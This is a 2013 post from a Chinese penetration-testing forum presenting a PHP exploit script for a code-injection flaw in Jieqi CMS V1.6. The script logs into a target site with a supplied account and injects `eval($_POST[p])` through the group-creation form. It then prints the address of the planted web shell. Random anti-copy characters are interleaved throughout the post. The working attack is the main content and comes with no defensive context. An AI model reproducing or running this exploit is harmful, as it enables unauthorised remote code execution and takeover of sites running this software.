中国网络渗透测试联盟
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
[打印本页]
作者:
admin
时间:
2013-2-23 11:28
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
9 C. @5 o2 Q5 C. I. {: ?% ]/ j% Y
8 }0 R4 u# A' J9 H5 E
* j) i, l; z/ c7 W" R& w
该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
5 B! P: `* ~- L3 z3 n
需要有一个能创建圈子的用户。
9 b7 J$ a7 S! g+ t8 r1 X
; D9 u/ m9 K2 ]. m$ w5 [
<?php
& w0 o2 R9 |/ l K1 j
4 g* D; m9 V1 i% t0 [8 }9 T
print_r('
& f) O; P& i7 l6 Q4 g# J
+---------------------------------------------------------------------------+
, L0 _3 Q8 x4 X6 n
Jieqi CMS V1.6 PHP Code Injection Exploit
" s2 P- r' I$ x6 { w3 Y# O$ p
by flyh4t
, k e% N5 C% p. f$ t7 e
mail: phpsec at hotmail dot com
% q( P$ ^ j, q
team:
http://www.wolvez.org
% i) T6 R1 x& p. z) s
+---------------------------------------------------------------------------+
/ e( |. J q9 T/ q
'); /**
4 D' Y6 |/ G3 ?# d R
* works regardless of php.ini settings
' z2 w9 W C* A/ l- B* e( J
*/ if ($argc < 5) { print_r('
. m s& A) ]- n" P( D4 u
+---------------------------------------------------------------------------+
1 ^6 U- a0 z+ I
Usage: php '.$argv[0].' host path username
: Y! i- G+ K2 M. n) c7 k9 h6 q
host: target server (ip/hostname)
) i6 {6 z( K$ L. t
path: path to jieqicms
& K* E: H/ S$ Q6 p& l- w
uasename: a username who can create group
2 Q; X* Q, v0 F& U$ R! ~1 `
Example:
0 _! v3 k/ Y. N2 A7 s; L
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
5 Q7 _- h& i$ \
+---------------------------------------------------------------------------+
j: I' B: g# S, x, @3 Y
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
2 I; d9 A1 V5 [
Content-Disposition: form-data; name="gname"
( a7 k* Z! ]5 Q: l
C$ D9 T- E$ I. Y+ S @
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
2 ?9 `' O8 Z+ E; c8 }' y& J
-----------------------------23281168279961
1 D1 S# d& |( M+ p
Content-Disposition: form-data; name="gcatid"
% c [# \0 }* I5 z/ }
* l2 [4 n4 u5 m# x
1
" {0 V2 m1 Z$ N3 J
-----------------------------23281168279961
# N5 ~8 |5 R9 S4 d* ^/ g* K8 A
Content-Disposition: form-data; name="gaudit"
& V/ C ~6 S7 M8 `1 A7 \# d
! p' v/ B& _& F
1
4 n" L, b. ] q. f `# m8 r+ M8 Y
-----------------------------23281168279961
4 S7 N! V' w5 w3 N: E
Content-Disposition: form-data; name="gbrief"
6 G7 j7 n# o. T) g5 U5 x- k& P
4 J7 [9 s+ \9 {) I% S l3 ~
1
: R1 a( \: ?5 @, ]
-----------------------------23281168279961--
) `8 F* H' `! K; v9 D
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean();
www.2cto.com
1 n9 a! B9 _5 k% W- E5 l5 c
8 w7 ~; Q0 a/ W( M4 \$ [; H
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2